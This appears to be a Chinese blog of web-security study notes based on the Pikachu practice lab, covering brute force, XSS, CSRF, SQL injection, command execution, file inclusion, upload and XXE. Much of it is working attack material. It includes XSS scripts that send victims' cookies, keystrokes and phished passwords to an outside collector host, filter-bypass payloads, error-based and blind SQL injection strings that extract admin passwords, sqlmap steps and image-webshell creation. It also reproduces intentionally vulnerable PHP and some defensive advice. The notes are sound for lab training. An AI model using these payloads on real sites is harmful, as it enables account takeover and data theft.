1.暴力破解攻击

连续性尝试 + 字典 + 自动化

一个有效的字典,可以大大的提高暴力破解的效率

a. 常用的账号密码(弱口令),比如常用用户名/密码TOP 500等。

b.互联网上被脱裤后账号密码(社工库),比如CSDN当年泄露的约600w用户信息。

c.使用指定的字符使用工具按照指定的规则进行排列组合算法生成的密码。

思路:

a.是否要求用户设置了复杂的密码;

b.是否每次认证都是用安全的验证码;

c.是否对尝试登陆的行为进行判断和限制;

d.是否在必要的情况下采用了双因素认证;

测试流程

a.确认登录接口的脆弱性;

b.对字典进行优化;

c.工具自动化操作。

技巧

a.根据注册提示信息进行优化,对目标站点进行注册,搞清楚账号密码的一些限制,比如目标站点要求密码必须是6位以上,字母数字组合,则可以按照此优化字典,比如去掉不符合要求的密码。

b.如果爆破的是管理后台,往往这种系统的管理员是admin/administrator/root的几率比较高,可以使用这三个账号+随便一个密码,尝试登陆,观看返回的结果,确定用户名。

比如:

输入xxx/yyyf返回"用户名或密码错误";

输入admin/yyy返回"密码错误", 则基本可以确定用户名是admin;因此可以只对密码进行爆破即可,提高效率。

2.burp suite介绍

target选项卡: 设置攻击目标,可以通过proxy发送;

pasitions选项卡:指定需要暴力破解的参数并设置成变量,同时选择攻击模式:

Sniper:狙击手---设置一个payload,先将第一个变量使用字典进行测试,然后在将第二个变量使用字典进行测试;

Battering ram:冲撞车---设置一个payload,所有的变量一起用字典内容被替换,然后一起尝试;

Ptichfork:草叉型---每个变量设置一个payload,分别使用对应的字典对变量进行同时替换;

Cluster bomb:焦束炸弹---需要为每个变量设置一个payload,分别使用字典内容组合对变量进行替换;

3.聊聊“验证码”

目的:a.登录暴力破解 b.防止机器恶意注册

验证码的认证流程:

客户端request登录页面,后台生成验证码:

1.后台使用算法生成图片,并将图片response给客户端:

2.同时将算法生成的值全局赋值存到SESSION中;

校验验证码:

1.客户端将认证信息和验证码一同提交;

2.后台对提交的验证码与SESSION里面的进行比较;

客户端重新刷新页面,再次生成新的验证码:

验证码算法中一般包含随机函数,所以每次刷新都会改变。

不安全的验证码-on client常见问题:

使用前端js实现验证码(纸老虎);

将验证码在cookie中泄露,容器被获取;

将验证码在前端源代码中泄露,容易被获取。

不安全的验证码-on server常见问题:

验证码在后台不过期,导致可以长期被使用;

验证码校验不严格,逻辑出现问题;

验证码设计的太过简单和有规律,容易被猜解

目前简单的验证码已经有很成熟的识别技术,基本也等于形同虚设,你想想12306的验证码为啥要弄得很复杂~

有一个案例是存储在SESSION中的验证码有过期值,但每次使用完验证码,并没有手动销毁存储在SESSION中的记录,导致可以暴力破解。

4.暴力破解防范

token防不了暴力破解,一个简单的token的实例:

//生成一个token,以当前微妙时间+一个5位的前缀
function set_token(){if (isset($_SESSION['token'])) {unset($_SESSION['token']);}$_SESSION['token']=str_replace('.', '', uniqid(mt_rand(10000, 99999), true));
}

一般的做法:

1.将token以"type='hidden'"的形式输出在表单中;

2.在提交的认证的时候一起提交,并在后台对其进行校验;

但是,由于其token值输出在了前端源码中,容易被获取,因此也就失去了防暴力破解的意义。一般Token在防止CSRF上会有比较好的功效。

5.跨站脚本漏洞

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。

XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户。

XSS漏洞可以用来进行钓鱼攻击、钓鱼攻击、前端js挖矿、用户cookie获取。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等

XSS(窃取cookie)攻击流程:

危害:存储型>反射型>DOM型

反射型: 交互的数据一般不会被存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。

存储型:交互的数据会被存在在数据库里面,永久性存储,一般出现在留言板,注册等页面。

DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性也属于反射型。

跨站脚本漏洞测试流程:

1.在目标站点上找到输入点,比如查询接口,留言板等;

2.输入一组"特殊字符+唯一识别字符", 点击提交后,查看返回的源码,是否有做对应的处理;

3.通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);

4.提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞;

TIPS:

1.一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS;

2.由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器);

3.通过变化不同的script,尝试绕过后台过滤机制。

6.反射型XSS的后台代码示例:

$html='';
if(isset($_GET['submit'])) {if (empty($_GET['message'])) {$html.="<p class='notice'>输入'kobe'试试-_-</p>";} else {if ($_GET['message'] == 'kobe') {$html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img...>} else {$html.="<p class='notice'>who is {$_GET['message']}, i don't care!</p>";}}
}

7.存储XSS漏洞:

存储型XSS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的尾号,因此存储型XSS也称"永久性"XSS。

我们可以首先尝试使用一些如'、"、<>、?、&等特殊字符来试一下能不能正常跑完一个流程,然后有了这个“基础”,再“循序渐进”尝试其他复杂的。

后台存储代码示例:

$link=connect();
$html='';
if (array_key_exists("message", $_POST) && $_POST['message'] != null) {$message = escape($link, $_POST['message']);$query="insert into message(content, time) values('$message', now())";$result = execute($link, $query);if (mysqli_affected_rows($link) != 1) {$html .= "<p>数据库出现异常,提交失败!</p>";}
}

8.DOM XSS漏洞举例
直接上代码可以看懂:

<div id="xssd_main"><script>function domxss() {var str = document.getElementById("text").value;document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you sess?</a>";}//试试:   '><img src="#" onmouseover="alert('xss')">//试试:   ' onclick="alert('xss')">,闭合掉就行</script><!--<a href="" onclick=('xss')>--><input id="text" name="text" type="text" value="" /><input id="button" type="button" value="click me!" onclick="domxss()" /><div id="dom"></div>
</div>

本质上还是在原有的框架中做“更多的事情”(比如弹框等)。

dom型xss不涉及后端代码,看起来像个鸡肋,但如果dom型xss输入点变成了反射型xss。

9.cookie获取和钓鱼攻击

cookie获取图示:

上图中的攻击者的后台代码:

//这个是获取cookie的api页面
if (isset($_GET['cookie'])) {$time = date('Y-m-d g:i:s');$ipaddress = getenv('REMOTE_ADDR');$cookie = $_GET['cookie'];$referer = $_SERVER['HTTP_REFERER'];$useragent = $_SERVER['HTTP_USER_AGENT'];$query = "insert cookies(time, ipaddress, cookie, referer, useragent)values('$time', '$ipaddress', '$cookie', '$referer', '$useragent')";$result = mysqli_query($link, $query);
}
header("Location:http://192.168.1.4/pikachu/index.php"); //重定向到一个可信的网站

在有xss的输入框中写上如下内容:

<script>document.location='http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie; </script>

然后点击提交按钮,就会执行脚本,并将cookie值发送给外部网站,造成cookie泄露。

10.post方式的xss

在get方式的xss基础上多做了一步(主动构造),看代码:

以下放在192.168.1.5机器,然后用户访问http://192.168.1.5/post.html

<html>
<head>
<script>window.onload = function() {document.getElementById("postsubmit").click();}
</script>
</head>
<body><form method="post" action="http://192.168.1.4/pikachu/vul/xss/xsspost/xss_reflected_post.php"><input id="xssr_in" type="text" name="message" value = "<script>document.location='http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>"/><input id="postsubmit" type="submit" name="submit" value="submit" /></form>
</body>
</html>

11.XSS钓鱼

代码如下:

if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {//发送认证框,并给出迷惑性的infoheader('Content-type:text/html;charset=utf-8');header("WWW-AUthenticate: Basic realm='认证'");header('HTTP/1.0 401 Unauthorized');echo 'Authorization Required.';exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))) {//将结果发送给收集信息的后台,请将这里的IP地址修改为管理后台的IPheader("Location: http://192.168.1.15/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USERNAME]}&password={$_SERVER[PHP_AUTH_PW]}");
}

12.xss获取键盘记录

后台接收的代码:

$link=connect();//设置允许被跨域访问,不然在其他站点运行会报错。
header("Access-Control-Allow-Origin:*");$data = $_POST['datax'];
$query = "insert keypress(data) values('$data')";
$result = mysqli_query($link, $query);

前端调用的页面代码:

function createAjax() {var request=false;if (window.XMLHttpRequest) {request = new XMLHttpRequest();if (request.overrideMimeType) {request.overrideMimeType("text/xml");}} else if (window.ActiveXObject) {var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP'];for (var i=0; i<versions.length; i++) {try {request = new ActiveXObject(versions[i]);if (request) {return request;}} catch(e) {request = false;}}}return request;
}var ajax=null;
var xl = "datax=";function onkeypress() {var realkey = String.fromCharCode(event.keyCode);xl += realkey;show();
}document.onkeypress = onkeypress;function show() {ajax = createAjax();ajax.onreadystatechange = function() {if (ajax.readyState == 4) {if (ajax.status == 200) {var data = ajax.responseText;} else {alert("页面请求失败");}}}var postdata = xl;ajax.open("POST", "http://192.168.1.15/pkxss/rkeypress/rkserver.php", true);ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");ajax.setRequestHeader("Content-Length", postdata.length);ajax.setRequestHeader("Connection", "close");ajax.send(postdata);
}

13.XSS盲打---指的是前端注入xss代码,后台管理员登录时就会弹框,导致漏洞。

14.XSS绕过-过滤-转换

1.前端限制绕过,直接抓包重放,或者修改html前端代码

2.大小写,比如:<SCRIPT>aLeRT(111)</sCRIpt>

3.拼凑:<sci<script>pt>alert(111)</scri</script>pt>

4.使用注释进行干扰:<scri<!--test-->pt>alert(111)</sc<!--test-->ript>

XSS绕过的姿势有很多,取决于你的思路和对前端技术的掌握程度。

如下的过滤条件只对小写有效,所以可以绕过:

$html='';
if (isset($_GET['submit']) && $_GET['message'] != null) {//这里会使用正则对<script进行替换为空,也就是过滤掉$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);if ($message == 'yes') {$html .= "<p>那就去人民广场一个人坐一会儿吧!</p>";} else {$html .= "<p>别说话</p>";}
}

绕过上面的例子有:

1.<img src=x οnerrοr="alert(111)">

2.<ScRiPT>alert(111)</Script>

15.XSS绕过-关于htmlspecialchars()函数

htmlspecialchars()函数把预定义的字符转换为HTML实体。

预定义的字符是:

&(和号)成为&amp

"(双引号)成为&quot

'(单引号)成为&#039

<(小于)成为&lt

>(大于)成为&gt

可用的引号类型:

ENT_COMPAT - 默认。仅编码双引号。

ENT_QUOTES - 编码双引号和单引号。

ENT_NOQUOTES - 不编码任何引号。

这块可能由程序员对此函数的使用有问题导致漏洞。

16.XSS常见防范措施

总的原则:输入做过滤,输出做转义。

代码示例:

if (isset($_GET['submit'])) {if (empty($_GET['message'])) {$html .= "<p class='notice'>叫你输入个url,你咋不听?</p>";}if ($_GET['message'] == 'www.baidu.com') {$html .= "<p class='notice'>我靠,我真想不到你是这样的一个人</p>";} else {//输出在a标签的href属性里面,可以使用javascript协议来执行js//防御:只允许http,https,其次在进行htmlspecialchars处理$message = htmlspecialchars($_GET['message'],ENT_QUOTES);$html .= "<a href='{$message}'>阁下自己输入的url还请自己点一下吧</a>";}
}

17.CSRF漏洞解析-目录

在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击也就完成了。所以CSRF攻击也被称为"one click"攻击。

小黑想要修改lucy的个人信息,应该怎么办?

-需要有lucy的权限!

于是小黑将修改个人信息的请求伪造一下,然后引诱lucy在登陆的情况下点击,攻击成功了!

http://192.168.112.200/ant/vulnerabilities/csrf/csrfget/csrf_mem_edit.php?sex=女&phonenum=13856564455&add=火星村111号&email=lucy@pikachu.com&submit=submit

为什么小黑的攻击可以成功?

条件1:xxx购物网站没有对个人信息修改的请求进行防CSRF处理,导致该请求容易被伪造。

因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比较密码等敏感信息)的操作(增删改)是否容易被伪造。

条件2:lucy在登陆了后台的情况下,点击了小黑发送的“埋伏”链接。如果lucy不在登陆状态下,或者lucy根本就没有点击这个链接,则攻击不会成功。

如果小黑事先在xx网的首页如果发现了一个XSS的漏洞,则小黑可能会这样做:

1.欺骗lucy访问埋伏了XSS脚本(盗取cookie的脚本)的页面;

2.lucy中招,小黑盗取到lucy的cookie:

3.小黑顺利登陆到lucy的后台,小黑自己修改lucy的相关信息;

所以跟上面比一下,就可以看出CSRF与XSS的区别:

CSRF是借用户的权限来完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取了用户的权限,然后实施破坏。

如何确认一个web系统存在CSRF漏洞

1.对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造

---比如修改管理员账号时,并不需要验证旧密码,导致请求容易被伪造;

---比如对于敏感信息的修改并没有使用安全的token验证,导致请求容易被伪造。

2.确认凭证的有效期(这个问题会提高CSRF被利用的概率)

---虽然退出或者关闭了浏览器,但cookie仍然有效,或者session并没有及时过期,导致CSRF攻击变得简单。

18.Token是如何防止CSRF的?

CSRF的主要问题是敏感操作的链接容易被伪造,那么如何让这个链接不容易被伪造?

--每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对这个随机码进行验证!

防范措施:

增加token的验证(常用的做法):

1.对关键操作增加token参数,token值必须随机,每次都不一样;

关于安全的会话管理(避免会话被利用):

1.不要在客户端保存敏感信息(比如身份认证信息);

2.测试直接关闭,退出时,会话过期机制;

3.设置会话过期机制,比如15分钟内无操作,则自动登录超时;

访问控制安全管理:

1.敏感信息的修改时需要对身份进行二次认证,比如修改账号时,需要判断旧密码;

2.敏感信息的修改使用post,而不是get:

3.通过http头部中的referer来限制原页面

增加验证码:

一般用在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性).

19.SQL Inject漏洞攻击流程

第一步:注入点探测

自动方式:使用web漏洞扫描工具,自动进行注入点发现

手动方式:手工构造sql inject测试语句进行注入点发现

第二步:信息获取

通过注入点取期望得到的数据。

1、环境信息:数据库类型,数据库版本,操作系统版本,用户信息等。

2、数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)

第三步:获取权限

获取操作系统权限:通过数据库执行shell,上传木马

判断注入点的类型?

数字型   user_id=$id

字符型    user_id='$id'

搜索型  text LIKE '%{$_GET['search']}%'"

20.数字型sql注入

后台代码如下:

if (isset($_POST['submit']) && $_POST['id'] != null) {//这里没有做任何处理,直接拼到select里面去了,形成sql注入$id = $_POST['id'];$query="select username, email from member where id=$id";$result = execute($link, $query);
}

21.字符型sql注入

后台代码如下:

if (isset($_GET['submit']) && $_GET('name') != null) {//这里没有做任何处理,直接拼到select里面去了$name = $_GET['name'];//这里的变量是字符型,需要考虑闭合$query="select id,email from member where username='$name'";$result = execute($link, $query);
}

22.搜索型注入

后台代码如下:

if (isset($_GET['submit']) && $_GET['name'] != null) {//这里没有做任何处理,直接拼到select里面去了$name = $_GET['name'];//这里的变量是模糊匹配,需要考虑闭合$query = "select username,id,email from member where username like '%$name%'";$result = execute($link, $query);
}

攻击例子:

xxxx%' or 1=1 #

关键点是猜测出后台变量的拼接方式,然后闭合掉前面的,执行我们自己的。

此处我们的流程是看完后台代码,然后找出闭合点构造攻击,正常情况下,我们是不知道后台代码,这时候就需要前端尝试攻击,并根据返回结果判断是否具有攻击点。比如只输入一个单引号,这时候看返回的错误提示可以判断是否有攻击点。

注入方式get&post区别

GET方式中使用URL提交注入数据;

POST方式中使用抓包工具修改post数据部分提交注入;

23.SQLI-基于union联合查询的信息获取

union联合查询:可以通过联合查询来查询指定的数据

select username,password from user where id=1 union select 字段1,字段2 from 表名

information_schema

在mysql中,自带的information_schema这个表里面存放了大量的重要信息。具体如下:

如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。

比如:

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

24.基于报错的信息获取-三个常用的用来报错的函数-updatexml()

Updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值。

语法:UPDATEXML(xml_document, XPathstring, new_value)

第一个参数:fiedname是String格式,为表中的字段名。

第二个参数:XPathstring(Xpath格式的字符串).

第三个参数:new_value,String格式,替换查找到的符合条件的

Xpath定位必须是有效的,否则会发生错误。

攻击示例:

kobe' and updatexml(1,concat(0x7e,version()), 0)#

kobe' and updatexml(1,concat(0x7e,database()), 0)#

kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)), 0)#

kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#

25.基于boolean的盲注案例

kobe' and ascii(substr(database(),1,1))>113#(select table_name from information_schema.tables where table_schema=database() limit 0,1)

26.sqlmap经典用法

第一步:

-u "xxx" --cookie="yyy" //带上cookie对URL进行注入探测

第二步:

-u "xxx" --cookie="yyy" --current-db //对数据库名进行获取

第三步:

-u "xxx" --cookie="yyy" -D pikachu --tables//对数据库的表名进行枚举

第四步:

-u "xxx" --cookie="yyy" -D pikachu -T users --columns //对dvwa库里面的名为users表的列名进行枚举

27.rce

后台代码:

if (isset($_POST['submit']) && $_POST['ipaddress'] != null) {$ip = $_POST['ipaddress'];if (stristr(php_uname['s'], 'windows')) {result .= shell_exec('ping '.$ip);//直接将变量进行拼接,没做处理} else {$result .= shell_exec('ping -c 4 '.$ip);}
}

28.文件包含漏洞

在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用"包含"函数功能,比如把一系列功能函数都写进function.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include function.php?>就可以调用函数代码。

但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改包含文件的位置来让后台执行任意文件(代码)。

这种情况我们称为"文件包含漏洞"

文件包含漏洞有“本地文件包含漏洞”和“远程文件包含漏洞”两种情况。

后台代码:

$html='';
if (isset($_GET['submit']) && $_GET['filename'] != null) {$filename = $_GET['filename'];include "include/$filename": //变量传进来直接包含,没做任何的安全限制//安全的写法,使用白名单,严格制定包含的文件名//if ($filename == 'file1.php' || $filename == 'file2.php' || $filename == 'file3.php')//include "include/$filename";//}
}

远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码。

远程包含漏洞前提:如果使用的include和require,则需要php.ini配置如下(php5.4.34):

allow_url_fopen = on //默认打开

Allow_url_include = on //默认关闭

后台代码:

//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
$html = '';
if (isset($_GET['submit']) && $_GET['filename'] != null) {$filename = $_GET['filename'];include "$filename"; //变量传进来直接包含,没做任何的安全措施
}

29.不安全的下载

后台代码:

<?php$PIKA_ROOT_DIR = "../../";include_once $PIKA_ROOT_DIR = "inc/function.php";header("Content-type:text/html;charset=utf-8");
$file_path = "download/{$_GET['filename']}";
//用以解决中文不能显示出来的问题
$file_path = iconv("utf-8", "gb2312", $file_path);//首先要判断给定的文件存在与否
if (!file_exists($file_path)) {skip("你要下载的文件不存在,请重新下载", 'unsafe_down.php');return;
}$fp = fopen($file_path, "rb");
$file_size = filesize($file_path);
//下载文件需要用到的头
ob_clean(); //输出钱一定要clean一下,否则图片打不开
Header("Content-type: application/actext-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));
$buffer=1024;
$file_count = 0;//向浏览器返回数据//循环读取文件流,然后返回到浏览器feof确认是否到EOF
while (!feof($fp) && $file_count*$file_size) {$file_con = fread($fp, $buffer);$file_count == $buffer;return $file_con;
}
fclose($fp);

防范措施:

1.对传入的文件名进行严格的过滤和限定

2.对文件下载的目录进行严格的限定。

30.不安全的文件上传漏洞

因为业务功能需要,很多web站点都有文件上传的接口,比如:

1.注册时上传头像图片(比如jsg,png,gif等);

2.上传文件附件(doc,xls等);

而在后台开发时并没有对上传的文件功能进行安全考虑或者才用了有缺陷的措施,导致攻击者可以通过一些手段绕过安全措施从而上传一些恶意文件(如:一句话木马),从而通过对恶意文件的访问来控制整个web后台。

测试流程:

1.对文件上传的地方按照要求上传文件,查看返回结果(路径,提示等);

2.尝试上传不同类型的"恶意"文件,比如xx.php文件,分析结果;

3.查看html源码,看是否通过js在前端做了上传限制,可以绕过;

4.尝试使用不同方式进行绕过:黑白名单绕过/MIME类型绕过/目录0x00截断绕过等;

5.猜测或者结合其他漏洞(比如敏感信息泄露等)得到木马路径,连接测试;

31.文件上传漏洞-type验证原理和绕过

后台代码:

$html='';
if (isset($_POST['submit'])) {$mime = array('image/jpg', 'image/jpeg', 'image/png'); //指定MIME类型,这里只是对MIME类型做了判断$save_path = 'uploads'; //指定在当前目录建立一个目录$upload = upload_sick('uploadfile', $mime, $save_path);//调用函数if ($upload['return']) {$html .= "<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为</p>";} else {$html.="<p class=notice>{$upload['error']}</p>";}
}

32.getimagesize()

Getimagesize()返回结果中有文件大小和文件类型,如果用这个函数来获取类型,从而判断是否是图片的话,会存在问题。

是否可以绕过呢?可以,因为图片可以被伪造。

图片木马的制作:

方法1:直接伪造头部GIF89A

方法1:CMD:copy /b test.png + muma.php cccc.png

方法2:使用GIMP(开源的图片修改软件),通过增加备注,写入执行命令。

等到木马图片上传成功后,可以利用文件包含include来对此图片路径进行include,此时隐藏在最后的代码就会被执行。

防范措施:

1.不要在前端使用JS实施上传限制策略

2.通过服务端对上传文件进行限制:

a.进行多条件组合检查:比如文件的大小、路径,扩展名,文件类型,文件完整性

b.对上传的文件在服务器上存储时进行重命名(指定合理的命令规则)

c.对服务器端上传文件的目录进行权限控制(比如只读),限制执行权限带来的危害

33.越权漏洞

后台代码:

$link = connect();
//判断是否登录,没有登录不能访问
if (!check_op_login($link)) {header("location:op1_login.php");
}
$html = '';
if (isset($_GET['submit']) && $_GET['username'] != null) {//没有使用session来校验,而是使用的传进来的值,权限校验出现问题,这里应该跟登录态关系进行绑定$username = escape($link, $_GET['username']);$query = "select * from member where username = '$username'";$result = execute($link, $query);
}

34.XXE漏洞

simplexml_load_string()

函数转换形式良好的XML字符串为SimpleXMLElement对象

在PHP里面解析xml用的是libxml,其在>=2.9.0的版本中,默认是禁止解析xml外部实体内容的。

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致攻击者可以构造一个恶意的XML。

web安全攻防从入门到放弃-记录相关推荐

  1. web渗透测试-从入门到放弃-04XSS-键盘记录

    案例-xss键盘记录 1.在实验前,先了解一下什么是跨域 http:// www . xyz.com : 8080 / script/test.js 协议 子域名 主域名 端口 资源地址 当协议.主机 ...

  2. 【送书福利-第九期】Web安全攻防从入门到精通

    大家好,我是洲洲,欢迎关注,一个爱听周杰伦的程序员.关注公众号[程序员洲洲]即可获得10G学习资料.面试笔记.大厂独家学习体系路线等-还可以加入技术交流群欢迎大家在CSDN后台私信我! 本文目录 一. ...

  3. WEB安全零基础入门到进阶教程

    关注我们公众号的粉丝很多都是我的读者,或多或少看过<WEB安全攻防:渗透测试实战指南>一书. 如果你已经完成了该书的阅读.进行过书中实验的实操,相信WEB安全渗透与防御已经初窥门径. 如果 ...

  4. Web安全从入门到放弃之皮卡丘靶场精讲视频教程百度云下载链接(20201213整理)

    Web安全从入门到放弃之皮卡丘靶场精讲视频教程(20201213整理) 如失效,请联系:hk007.cn 课程内容介绍:含全套视频课程内容及对应皮卡丘靶场源文件 百度云盘链接:https://pan. ...

  5. python从入门到放弃-掌握这个学习方法,让 Python 不再从入门到放弃

    随着数据科学概念的普及,Python 这门并不算新的语言火得一塌糊涂.因为写了几篇用 Python 做数据分析的 文章,经常有读者和学生在留言区问我,想学习 Python,该如何入手?我经常需要根据他 ...

  6. 钓鱼邮件从入门到放弃

    目录 钓鱼邮件从入门到放弃 一.钓鱼邮件的基本概念 1.1 钓鱼邮件的伪造方式 1.1.1 购买域名搭建邮箱服务器 1.1.2 伪造发件人 1.2 三个邮件安全协议 1.2.1 SPF 1.2.2 D ...

  7. 【open stack】openstack从入门到放弃

    原文地址:http://www.cnblogs.com/linkenpark/p/5898598.html openstack从入门到放弃 目录: 为何选择云计算/云计算之前遇到的问题 什么是云计算 ...

  8. 专业放心的python入门视频_手把手教你掌握学习Python方法,让你不再从入门到放弃...

    随着数据科学概念的普及,Python 这门并不算新的语言火得一塌糊涂.因为写了几篇用 Python 做数据分析的 文章,经常有读者和学生私信问我,想学习 Python,该如何入手?我经常需要根据学习, ...

  9. MS08067 WEB高级攻防实战班第一期 开班啦~(附最新授课目录)

    文章来源|MS08067 WEB高级攻防实战班 6.25号我们开启了第一期"红队攻防培训班",8.5号开启了第一期"Java审计实战班",8.13号开启了第二期 ...

最新文章

  1. IDEA IntelliJ 开发工具介绍
  2. 艺术签名python_个性签名设计五十行Python轻松实现
  3. 康托尔定理是如何证明的?
  4. 马普所机器学习课程 CMU701
  5. 点击率预估与冷启动(二)
  6. 这个严重的无补丁 UPnP 漏洞影响几乎所有的IoT设备:绕过安全系统、扫描LANs
  7. 数据挖掘:模型选择——XGBoost与LightBGM
  8. excel能创建html吗,如何通过Excel电子表格使用循环创建单独的HTML发布页面
  9. Java实现MD5加密工具类
  10. Error: Cannot find module ‘webpack‘
  11. 在ubuntu中运行qq
  12. 第17章:使用 concurrent.futures 模块处理并发-使用 futures.as_completed 函数立刻获取多线程任务执行结果
  13. GoLang—使用net/http构建Web服务(文件数据存储)(上)
  14. 【日常记录】win10打印机打印不出来,打印队列里有文档无法删除
  15. [OS-Linux]详解Linux的文件系统、inode和动静态库
  16. 计算机常用键盘有几个键失灵,电脑键盘忽然有几个键失灵了
  17. 输变电设备物联网传感器数据通信规约_M2M通信,实现小程序App和IoT设备数据实时同步和控制...
  18. 微信公众号开发 公众号接口开发 封装统一的GET/POST请求接口
  19. 四种基于MQ的分布式事务解决方案
  20. js 判断对象是否是字符串

热门文章

  1. jQuery——parent(),parents(),offsetParent(),closets()方法
  2. 【详细讲解】某书店有一个收银员该书店最多允许n个购书者进入。将收银员和购书者看作不同的进程,其工作流程如下图所示。利用PV操作实现该过程,设置信号量S1,S2和Sn,初值分别为0,0,n.则图中a1
  3. 算法竞赛入门经典(第二版) | 例题4-3 救济金发放 (UVa133,The Dole Queue)
  4. 歌一定要带监听耳机吗_在演唱会上,歌手耳朵里戴的不是“耳机”,而是这个东西...
  5. Linux中常见服务对应的端口号
  6. 聚合链路出现Destination host unreachable
  7. linux结束进程_生人勿近之Linux里养僵尸
  8. 牛红红的日记(平平无奇拿下域控)
  9. 能用c语言编写图形界面吗,「分享」C语言如何编写图形界面
  10. python中使用什么注释语句和运算_Python基础知识